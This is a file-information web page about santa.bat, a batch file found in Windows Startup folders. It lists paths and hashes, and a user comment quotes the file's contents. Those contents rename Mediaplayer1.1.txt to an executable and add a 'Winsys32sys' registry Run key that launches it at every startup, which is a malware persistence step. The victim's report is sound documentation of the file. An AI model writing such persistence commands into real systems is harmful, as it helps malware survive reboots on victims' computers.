What is santa.bat?
santa.bat is usually located in the 'C:\Documents and Settings\Administrator\Start Menu\Programs\Startup\' folder.
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Folder name variants
santa.bat may also be located in other folders than C:\Documents and Settings\Administrator\Start Menu\Programs\Startup\. The most common variants are listed below:
- C:\Documents and Settings\Ali\Start Menu\Programs\Startup\
Hashes [?]
| Property | Value |
|---|---|
| MD5 | 6185da22392e9849d8fd0d793447fe3e |
| SHA256 | c5291ffbd6a87b47cab740d8616c9513b68fbae9ebfec1f0d6320804f154a95f |
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Comments
Please share with the other users what you think about this file. What does this file do? Is it legitimate or something that your computer is better without? Do you know how it was installed on your system? Did you install it yourself or did it come bundled with some other software? Is it running smoothly or do you get some error message? Any information that will help to document this file is welcome. Thank you for your contributions.
I'm reading all new comments so don't hesitate to post a question about the file. If I don't have the answer perhaps another user can help you.
This bat file has the following parameters it renames a file named Mediaplayer1.1.txt to Mediaplayer1.1.Exe and it also runs a registry command, one side effect what i noticed is the files which are hidden will be permanently hidden even if you use windows options to show all hidden files, i am really not sure what other problems it can cause as my antivirus or the malware had removed the Mediaplayer1.1.Exe file from my system.
I had noticed some changes in my system like the CD/DVD drive dose not detect and also the wireless network connection shows the connected status but there is no connectivity.
below is the contents of the santa.bat file.
##C:\WINDOWS\system32>rename Mediaplayer1.1.txt Mediaplayer1.1.exe
##The system cannot find the file specified.
##C:\WINDOWS\system32>reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /
v Winsys32sys /t REG_SZ /d "C:\WINDOWS\system32\Mediaplayer1.1.exe"
##The operation completed successfully
regards
# 7 Dec 2009, 23:58
Manoj writes